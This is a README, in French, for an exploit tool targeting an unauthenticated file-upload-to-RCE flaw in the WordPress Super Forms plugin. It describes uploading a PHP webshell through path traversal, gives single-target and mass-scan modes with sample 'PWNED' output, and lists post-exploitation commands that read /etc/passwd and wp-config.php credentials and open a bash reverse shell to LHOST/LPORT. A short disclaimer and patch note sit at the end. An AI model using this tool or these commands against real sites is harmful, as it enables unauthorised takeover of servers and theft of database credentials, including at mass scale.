
Exploit pour CVE-2026-14894, un téléchargement de fichier non authentifié vers RCE dans WordPress Super Forms ≤ 6.3.313. Télécharge un webshell PHP et prend en charge l'exploitation sur cible unique ou en masse.
Téléchargement arbitraire de fichier non authentifié → Exécution de code à distance dans le plugin WordPress Super Forms versions ≤ 6.3.313.
La vulnérabilité réside dans le gestionnaire AJAX qui traite les téléchargements de fichiers via un champ sans valider l'extension du fichier ou le type MIME avant d'écrire sur le disque. Un attaquant non authentifié peut télécharger un webshell PHP et obtenir une exécution complète de code à distance sur le serveur cible.
super_submit_formdatauristring| Champ | Détail |
|---|---|
| CVE ID | CVE-2026-14894 |
| Plugin | Super Forms (WordPress) |
| Affecté | ≤ 6.3.313 |
| Corrigé | 6.3.314 (force l'extension .pdf + confinement realpath) |
| CVSS | 9.8 Critique |
| Auth requise | Aucune |
| Chercheur | andrea bocchetti |
| Action AJAX | super_submit_form |
| Sink | champ datauristring → class-ajax.php:2762–2766 |
| Chemin upload | /wp-content/uploads/superforms/YYYY/MM/<13digits>/ |
[1] Mint nonce (nopriv)
POST /wp-admin/admin-ajax.php
action=super_create_nonce
│
▼
[2] Upload PHP shell via datauristring (unauthenticated)
POST /wp-admin/admin-ajax.php
action=super_submit_form
data={"sf_upload_field":{"files":[{"datauristring":"data:image/png;base64,..."}]}}
│
├── Path Traversal → /wp-content/themes/<theme>/shell.php ← primary
│ (always exec)
│
└── Random folder → /wp-content/uploads/superforms/... ← fallback
(exec depends on server policy)
│
▼
[3] Shell Discovery
├── S0: media?parent=entry_id (WP REST)
├── S1: REST /wp/v2/media search (unauth)
├── S2: Apache/nginx directory listing
└── S3: WP sitemap attachment XML
│
▼
[4] RCE → curl "http://target/wp-content/themes/theme/shell.php?c=id"
pip install requests urllib3
python cve-2026-14894.py
CVE-2026-14894 │ Super Forms ≤ 6.3.313
Unauthenticated File Upload → Remote Code Execution
Researcher: andrea bocchetti | PoC: Beelze
1 Single target
2 Mass targets (file)
Mode (1/2): 1
Target URL : https://target.com
Form ID (enter=auto) : ← leave blank = auto-discover
Shell name (enter=random): ← leave blank = random name
Shell file (enter=built-in): ← leave blank = built-in shell
WP user (optional/REST) : ← optional, improves discovery
WP pass (optional/REST) : ← optional
Résultat attendu en cas de succès :
──────────────────────────────────────────────────────────────
TARGET https://target.com
──────────────────────────────────────────────────────────────
Super Forms v6.3.301 vulnerable ≤6.3.313
[1/3] Mint nonce ...................... ✔ OK a3f9e1c... sid=sess_ab...
[2/3] Upload [xkqmhzjt.php] .......... ✔ OK form_id=42 entry_id=137
[3/3] Shell discovery ................ ✔ FOUND → RCE [path traversal → theme]
╔══════════════════════════════════════════════════════════════╗
║ ✓ PWNED → RCE CONFIRMED ║
║ ║
║ Shell » https://target.com/wp-content/themes/astra/shell ║
║ RCE » uid=33(www-data) gid=33(www-data) ║
║ ║
║ $ curl "https://target.com/...shell.php?c=whoami" ║
╚══════════════════════════════════════════════════════════════╝
Mode (1/2): 2
Targets file : targets.txt ← one URL per line, # = comment
Form ID (enter=auto) :
Threads (enter=5) : 10
Shell file (enter=built-in):
WP user (optional/REST) :
WP pass (optional/REST) :
Format de targets.txt :
# Bug bounty scope
https://site1.com
https://site2.com
https://site3.com
Résultat du scan de masse :
══════════════════════════════════════════════════════════════
MASS SCAN 3 targets threads=10
══════════════════════════════════════════════════════════════
[01/03] https://site1.com .... RCE uid=33(www-data)
↳ https://site1.com/wp-content/themes/astra/xkqmhzjt.php
[02/03] https://site2.com .... WRITE no exec
↳ https://site2.com/wp-content/uploads/superforms/2026/07/.../shell.php
[03/03] https://site3.com .... FAIL plugin inactive / blocked
══════════════════════════════════════════════════════════════
SUMMARY 1 RCE 1 WRITE_ONLY 0 MAYBE / 3 total
══════════════════════════════════════════════════════════════
RCE SHELLS:
» https://site1.com/wp-content/themes/astra/xkqmhzjt.php (uid=33...)
Vous pouvez fournir votre propre fichier shell au lieu du webshell intégré :
Shell file (enter=built-in): /path/to/myshell.php
L'outil téléchargera votre fichier et traitera toute réponse 200 avec un corps non vide comme une confirmation de RCE.
Après avoir obtenu RCE, interagissez avec le shell :
# Exécution de commande
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=id"
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=cat+/etc/passwd"
# Lecture de la configuration WordPress (identifiants, DB)
curl -sk "https://target.com/.../shell.php?c=cat+/var/www/html/wp-config.php"
# Reverse shell
curl -sk "https://target.com/.../shell.php" --data "c=bash+-c+'bash+-i+>%26+/dev/tcp/LHOST/LPORT+0>%261'"
Les résultats sont automatiquement enregistrés dans :
~/Documents/CVE-2026-14894/result_YYYYMMDD_HHMMSS.json
| Statut | Signification |
|---|---|
RCE | Shell PHP confirmé en exécution — exécution complète de code à distance |
WRITE_ONLY | Fichier écrit mais PHP non exécuté (moteur désactivé / refus .htaccess) |
POSSIBLE_WRITE | Le téléchargement a réussi mais l'URL du shell n'a pas pu être résolue |
FAIL | Plugin inactif, échec du nonce ou version corrigée détectée |
Mettez à jour Super Forms vers ≥ 6.3.314. Le correctif impose l'extension .pdf uniquement pour les téléchargements datauristring et ajoute un confinement realpath() pour empêcher le path traversal.
Cet outil est destiné uniquement aux tests de pénétration autorisés, aux recherches de bug bounty et à des fins éducatives.
Ne l'utilisez pas contre des systèmes pour lesquels vous n'avez pas d'autorisation écrite explicite pour tester.
L'auteur n'est pas responsable de toute utilisation abusive ou des dommages causés par cet outil.
CVE-2026-14894 · Super Forms ≤ 6.3.313 · Téléchargement de fichier non authentifié → Exécution de code à distance
Chercheur : andrea bocchetti · PoC : Beelze